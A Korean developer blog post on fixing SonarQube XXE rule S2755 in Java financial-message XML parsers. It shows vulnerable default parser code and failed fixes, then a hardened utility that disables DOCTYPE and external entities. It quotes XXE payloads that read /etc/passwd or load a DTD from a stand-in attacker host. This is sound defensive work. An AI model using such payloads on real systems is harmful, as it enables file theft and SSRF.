SonarQube XXE 룰 S2755 해결 — 거래 전문 XML 파서 시도 3가지

이 글에 등장하는 코드는 금융권 보안 정책상 실제 프로젝트 코드를 그대로 공개할 수 없어, 동일한 취약 패턴과 해결 흐름을 재현한 샘플로 대체했다. 클래스명·테이블명·경로 같은 식별자는 가상이지만, SonarQube가 잡는 데이터 플로우와 통과 조건은 실제 환경과 같다.

JDK 21 업그레이드 작업 중 SonarQube XXE 룰 S2755가 거래 전문(XML 메시지) 파서에서 18건 떴다. 금융권은 EDI, 대외기관 연계 전문, 공공기관 응답 파일 등에서 여전히 XML을 많이 쓴다. 그 파서들이 거의 전부 기본 설정으로 만들어져 있었다.

로직 변경 없이 SonarQube XXE 룰을 통과시키기 위해 시도한 3가지와 최종 해결 코드를 정리한다.

SonarQube XXE — IDE 정적 분석 경고 화면

레거시 XML 파서 패턴

// 대외기관 응답 전문 파싱
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
Document doc = db.parse(new InputSource(new StringReader(xml)));

기본 설정의 DocumentBuilderFactory는 외부 엔티티(External Entity)를 그대로 처리한다. 공격자가 <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> 같은 DOCTYPE을 끼워 넣으면 서버 파일을 읽거나 내부망에 SSRF를 날릴 수 있다. SonarQube XXE 룰 S2755는 이 흐름을 그대로 잡는다.

SAXParserFactory, XMLInputFactory, TransformerFactory도 같은 룰의 대상이다. 패턴은 다 비슷하다.

시도 1. setValidating(false) — 실패

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setValidating(false);

S2755는 그대로다. setValidating은 DTD 검증을 끌 뿐이고, XXE는 검증과 무관하게 엔티티 처리 단계에서 일어난다. DTD를 검증하지 않아도 외부 엔티티는 여전히 fetch된다.

시도 2. setExpandEntityReferences(false) — 실패

dbf.setExpandEntityReferences(false);

이름만 보면 막아줄 것 같은데, 실제로는 JAXP 구현체에 따라 무시되거나 부분 적용된다. SonarQube도 이 옵션을 sanitize로 인정하지 않는다. S2755 그대로 떠 있다.

시도 3. external-general-entities feature만 disable — 부분 실패

dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);

일반 외부 엔티티는 막힌다. 그런데 parameter entity 기반 공격이 여전히 가능하다. 다음과 같은 페이로드는 통과한다.

<!DOCTYPE foo [
  <!ENTITY % a SYSTEM "http://attacker/evil.dtd">
  %a;
]>

SonarQube도 룰 가이드에서 이 feature 하나로는 부족하다고 명시한다. parameter entity를 별도로 막거나, 아예 DOCTYPE 자체를 차단해야 통과한다.

최종 해결 — feature 4종 + DOCTYPE 차단

OWASP 가이드와 SonarSource 룰 페이지에서 권장하는 형태다. 전사 공통 유틸로 빼서 모든 파서 생성을 이걸로 통일했다.

public final class XmlSafe {

    private XmlSafe() {}

    public static DocumentBuilder newDocumentBuilder() throws ParserConfigurationException {
        DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();

        // 1) DOCTYPE 자체를 차단 — 가장 강력하고 깔끔하다
        dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);

        // 2) 외부 엔티티 fetch 차단
        dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
        dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

        // 3) 외부 DTD 로드 차단
        dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);

        // 4) 마지막 안전장치
        dbf.setXIncludeAware(false);
        dbf.setExpandEntityReferences(false);

        return dbf.newDocumentBuilder();
    }
}

호출 측은 단순해진다.

Document doc = XmlSafe.newDocumentBuilder()
    .parse(new InputSource(new StringReader(xml)));

SAX/StAX 파서도 같은 패턴으로 처리한다.

// SAXParserFactory
SAXParserFactory spf = SAXParserFactory.newInstance();
spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
spf.setXIncludeAware(false);

// XMLInputFactory (StAX)
XMLInputFactory xif = XMLInputFactory.newFactory();
xif.setProperty(XMLInputFactory.SUPPORT_DTD, false);
xif.setProperty("javax.xml.stream.isSupportingExternalEntities", false);

// TransformerFactory
TransformerFactory tf = TransformerFactory.newInstance();
tf.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, "");
tf.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, "");

핵심은 disallow-doctype-decl = true다. 거래 전문이나 EDI 같은 데이터 XML은 어차피 DOCTYPE이 필요 없다. 이 옵션 하나로 XXE 공격 표면을 거의 다 닫는다. DOCTYPE이 와야 하는 특수 케이스에만 나머지 feature 조합으로 우회한다. SonarQube XXE 룰은 이 패턴을 sanitize로 인정한다.

운영 팁 하나. setFeatureSAXNotRecognizedException을 던질 수 있다. JAXP 구현체에 따라 일부 feature가 없을 수 있어서 try-catch로 한 번 감싸두는 것을 권장한다. 실무에서는 사내 공통 모듈로 빼두면 한 번 정의하고 끝이다.

정리

SonarQube XXE 대응의 본질은 한 줄이다. 가능하면 DOCTYPE 자체를 끄고, 안 되면 외부 엔티티 4종을 전부 닫는다. 옵션 하나만 끼워 넣는 시도는 전부 부분 우회 또는 룰 미통과로 끝났다. 공통 유틸 하나 만들어 두고 전사 적용하는 게 가장 빠른 정답이었다.

여기까지 Injection 시리즈 5편을 마무리한다. SQL, Command, XSS, Path Traversal까지 본질은 모두 같았다 — 외부 입력을 인터프리터에 그대로 넘기지 말 것. 다음 편부터는 Vulnerability 시리즈로 이어진다. 첫 글은 금융권에서 가장 많이 잡히는 약한 해시 알고리즘(S2070) 케이스다.

SonarQube XXE 룰 본문은 SonarSource 공식 룰 페이지(S2755), XXE 방어 가이드는 OWASP XXE Prevention Cheat Sheet에서 확인할 수 있다.